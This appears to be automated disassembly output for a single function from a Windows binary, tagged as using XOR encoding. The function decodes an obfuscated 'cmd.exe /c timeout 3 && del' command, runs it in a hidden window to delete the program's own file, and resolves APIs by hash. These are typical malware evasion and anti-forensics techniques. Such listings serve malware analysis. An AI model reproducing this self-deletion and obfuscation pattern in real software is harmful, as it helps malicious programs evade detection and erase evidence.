Function at 0x1400056e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp + 8], rax
xor r14d, r14d
mov rdi, rcx
test rcx, rcx
jne 0x140005766
mov al, byte [0x140027e50]
lea rdi, [0x140027e50]
test al, al
jne 0x140005766
call fcn.1400075b4
mov r8d, 0x410
mov rdx, rdi
xor ecx, ecx
call rax
mov al, byte [0x140027e50]
test al, al
jne 0x140005766
mov rcx, qword [0x140027198]
lea rbx, [0x140028270]
mov rdx, rbx
mov r8d, 0x1024
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
cmove rbx, rdi
mov rdi, rbx
cmp byte [rdi], r14b
je 0x1400059cd
mov ebx, 0x68
lea rcx, [rsp + 0x70]
mov r8d, ebx
xor edx, edx
call fcn.14000aad0
xor eax, eax
mov dword [rsp + 0x70], ebx
mov ebx, 0x400
mov qword [rsp + 0x50], rax
mov ecx, ebx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rbp - 0x54], 3
mov word [rbp - 0x50], r14w
call fcn.1400083e4
mov rsi, rax
mov dword [rbp - 0x20], 0x22
mov ecx, dword [rbp - 0x20]
xor ecx, 0x63
mov byte [rbp - 0x1c], cl
mov ecx, dword [rbp - 0x20]
inc cl
xor ecx, 0x6d
mov byte [rbp - 0x1b], cl
mov ecx, dword [rbp - 0x20]
add cl, 2
xor ecx, 0x64
mov byte [rbp - 0x1a], cl
mov ecx, 0x20
mov eax, dword [rbp - 0x20]
add al, 3
xor eax, 0x2e
mov byte [rbp - 0x19], al
mov eax, dword [rbp - 0x20]
add al, 4
xor eax, 0x65
mov byte [rbp - 0x18], al
mov eax, dword [rbp - 0x20]
add al, 5
xor eax, 0x78
mov byte [rbp - 0x17], al
mov eax, dword [rbp - 0x20]
add al, 6
xor eax, 0x65
mov byte [rbp - 0x16], al
mov eax, dword [rbp - 0x20]
add al, 7
xor eax, ecx
mov byte [rbp - 0x15], al
mov eax, dword [rbp - 0x20]
add al, 8
xor eax, 0x2f
mov byte [rbp - 0x14], al
mov eax, dword [rbp - 0x20]
add al, 9
xor eax, 0x63
mov byte [rbp - 0x13], al
mov eax, dword [rbp - 0x20]
add al, 0xa
xor eax, ecx
mov byte [rbp - 0x12], al
mov eax, dword [rbp - 0x20]
add al, 0xb
xor eax, 0x74
mov byte [rbp - 0x11], al
mov eax, dword [rbp - 0x20]
add al, 0xc
xor eax, 0x69
mov byte [rbp - 0x10], al
mov eax, dword [rbp - 0x20]
add al, 0xd
xor eax, 0x6d
mov byte [rbp - 0xf], al
mov eax, dword [rbp - 0x20]
add al, 0xe
xor eax, 0x65
mov byte [rbp - 0xe], al
mov eax, dword [rbp - 0x20]
add al, 0xf
xor eax, 0x6f
mov byte [rbp - 0xd], al
mov eax, dword [rbp - 0x20]
mov r8, r14
add al, 0x10
xor eax, 0x75
mov byte [rbp - 0xc], al
mov eax, dword [rbp - 0x20]
add al, 0x11
xor eax, 0x74
mov byte [rbp - 0xb], al
mov eax, dword [rbp - 0x20]
add al, 0x12
xor eax, ecx
mov byte [rbp - 0xa], al
mov eax, dword [rbp - 0x20]
add al, 0x13
xor eax, 0x33
mov byte [rbp - 9], al
mov eax, dword [rbp - 0x20]
add al, 0x14
xor eax, ecx
mov byte [rbp - 8], al
mov eax, dword [rbp - 0x20]
add al, 0x15
xor eax, 0x26
mov byte [rbp - 7], al
mov eax, dword [rbp - 0x20]
add al, 0x16
xor eax, 0x26
mov byte [rbp - 6], al
mov eax, dword [rbp - 0x20]
add al, 0x17
xor eax, ecx
mov byte [rbp - 5], al
mov eax, dword [rbp - 0x20]
add al, 0x18
xor eax, 0x64
mov byte [rbp - 4], al
mov eax, dword [rbp - 0x20]
add al, 0x19
xor eax, 0x65
mov byte [rbp - 3], al
mov eax, dword [rbp - 0x20]
add al, 0x1a
xor eax, 0x6c
mov byte [rbp - 2], al
mov eax, dword [rbp - 0x20]
add al, 0x1b
xor eax, ecx
mov byte [rbp - 1], al
mov eax, dword [rbp - 0x20]
add al, 0x1c
xor eax, 0x25
mov byte [rbp], al
mov eax, dword [rbp - 0x20]
add al, 0x1d
xor eax, 0x73
mov byte [rbp + 1], al
xor eax, eax
mov byte [rbp + 2], al
mov al, byte [rbp - 0x1c]
movsx eax, byte [rbp + r8 - 0x1c]
mov ecx, dword [rbp - 0x20]
add cl, r8b
xor ecx, eax
mov byte [rbp + r8 - 0x1c], cl
inc r8
cmp r8, 0x1e
jb 0x14000590d
mov r9, rdi
mov byte [rbp + 2], r14b
lea r8, [rbp - 0x1c]
mov rdx, rbx
mov rcx, rsi
call fcn.140001560
call fcn.1400074c0
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
call rax
mov rbx, qword [rsp + 0x58]
mov edi, 0x723eb0d5
test rbx, rbx
je 0x1400059a3
mov r9d, 0x11
mov r8d, edi
call fcn.140001430
test rax, rax
je 0x1400059a3
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x1400059c5
mov r9d, 0x11
mov r8d, edi
call fcn.140001430
test rax, rax
je 0x1400059c5
mov rcx, rbx
call rax
mov rcx, rsi
call fcn.1400083dc
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.140007b00
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret